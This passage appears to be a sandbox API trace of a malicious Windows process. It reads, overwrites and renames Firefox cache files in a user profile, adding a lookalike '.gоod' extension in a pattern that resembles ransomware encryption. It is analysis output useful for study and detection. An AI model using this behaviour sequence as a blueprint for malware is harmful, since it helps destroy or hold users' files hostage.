lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7.gоod")) returned 1 [0253.682] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", lpFilePart=0x0) returned 0x7f [0253.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0253.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5"), fInfoLevelId=0x0, lpFileInformation=0x3b0cb08 | out: lpFileInformation=0x3b0cb08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xfca)) returned 1 [0253.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0253.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", lpFilePart=0x0) returned 0x7f [0253.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0253.683] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0253.683] GetFileType (hFile=0x82c) returned 0x1 [0253.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0253.683] GetFileType (hFile=0x82c) returned 0x1 [0253.683] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xfca [0253.683] ReadFile (in: hFile=0x82c, lpBuffer=0x3b0ded0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3b0ded0*, lpNumberOfBytesRead=0x1fbeb028*=0xfca, lpOverlapped=0x0) returned 1 [0253.839] CloseHandle (hObject=0x82c) returned 1 [0253.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", lpFilePart=0x0) returned 0x7f [0253.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0253.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0253.867] GetFileType (hFile=0x82c) returned 0x1 [0253.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0253.867] GetFileType (hFile=0x82c) returned 0x1 [0253.867] WriteFile (in: hFile=0x82c, lpBuffer=0x3af4da8*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3af4da8*, lpNumberOfBytesWritten=0x1fbeaf38*=0xfd0, lpOverlapped=0x0) returned 1 [0253.868] CloseHandle (hObject=0x82c) returned 1 [0253.868] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", lpFilePart=0x0) returned 0x7f [0253.868] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5.gоod", lpFilePart=0x0) returned 0x84 [0253.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0253.868] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9388d12e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfd0)) returned 1 [0253.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0253.868] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5.gоod")) returned 1 [0253.869] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", lpFilePart=0x0) returned 0x7f [0253.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0253.869] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc"), fInfoLevelId=0x0, lpFileInformation=0x3af6148 | out: lpFileInformation=0x3af6148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x208)) returned 1 [0253.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0253.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", lpFilePart=0x0) returned 0x7f [0253.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0253.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0253.870] GetFileType (hFile=0x82c) returned 0x1 [0253.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0253.870] GetFileType (hFile=0x82c) returned 0x1 [0253.870] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x208 [0253.870] ReadFile (in: hFile=0x82c, lpBuffer=0x3af6748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3af6748*, lpNumberOfBytesRead=0x1fbeb028*=0x208, lpOverlapped=0x0) returned 1 [0254.017] CloseHandle (hObject=0x82c) returned 1 [0254.053] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", lpFilePart=0x0) returned 0x7f [0254.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0254.053] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0254.054] GetFileType (hFile=0x82c) returned 0x1 [0254.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0254.054] GetFileType (hFile=0x82c) returned 0x1 [0254.054] WriteFile (in: hFile=0x82c, lpBuffer=0x3b31758*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3b31758*, lpNumberOfBytesWritten=0x1fbeaf38*=0x210, lpOverlapped=0x0) returned 1 [0254.054] CloseHandle (hObject=0x82c) returned 1 [0254.059] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", lpFilePart=0x0) returned 0x7f [0254.059] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC.gоod", lpFilePart=0x0) returned 0x84 [0254.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0254.059] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x93a2f943, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x210)) returned 1 [0254.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0254.059] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc.gоod")) returned 1 [0254.060] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", lpFilePart=0x0) returned 0x7f [0254.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0254.061] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39"), fInfoLevelId=0x0, lpFileInformation=0x3b32af8 | out: lpFileInformation=0x3b32af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4329e9f1, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4329e9f1, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4329e9f1, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8fd)) returned 1 [0254.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0254.063] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", lpFilePart=0x0) returned 0x7f [0254.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0254.063] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0254.063] GetFileType (hFile=0x82c) returned 0x1 [0254.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0254.063] GetFileType (hFile=0x82c) returned 0x1 [0254.063] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x8fd [0254.063] ReadFile (in: hFile=0x82c, lpBuffer=0x3b337f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3b337f0*, lpNumberOfBytesRead=0x1fbeb028*=0x8fd, lpOverlapped=0x0) returned 1 [0254.064] CloseHandle (hObject=0x82c) returned 1 [0255.541] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", lpFilePart=0x0) returned 0x7f [0255.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0255.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0255.541] GetFileType (hFile=0x828) returned 0x1 [0255.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0255.541] GetFileType (hFile=0x828) returned 0x1 [0255.542] WriteFile (in: hFile=0x828, lpBuffer=0x3af6d00*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3af6d00*, lpNumberOfBytesWritten=0x1fbeaf38*=0x900, lpOverlapped=0x0) returned 1 [0255.542] CloseHandle (hObject=0x828) returned 1 [0255.542] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", lpFilePart=0x0) returned 0x7f [0255.542] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39.gоod", lpFilePart=0x0) returned 0x84 [0255.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0255.542] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4329e9f1, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4329e9f1, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9487ee7d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x900)) returned 1 [0255.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0255.542] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39.gоod")) returned 1 [0255.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", lpFilePart=0x0) returned 0x7f [0255.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0255.543] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6"), fInfoLevelId=0x0, lpFileInformation=0x3af80a0 | out: lpFileInformation=0x3af80a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc23b0e52, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc23b0e52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f903f2d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x235d0)) returned 1 [0255.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0255.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", lpFilePart=0x0) returned 0x7f [0255.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0255.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0255.544] GetFileType (hFile=0x828) returned 0x1 [0255.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0255.544] GetFileType (hFile=0x828) returned 0x1 [0255.544] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: 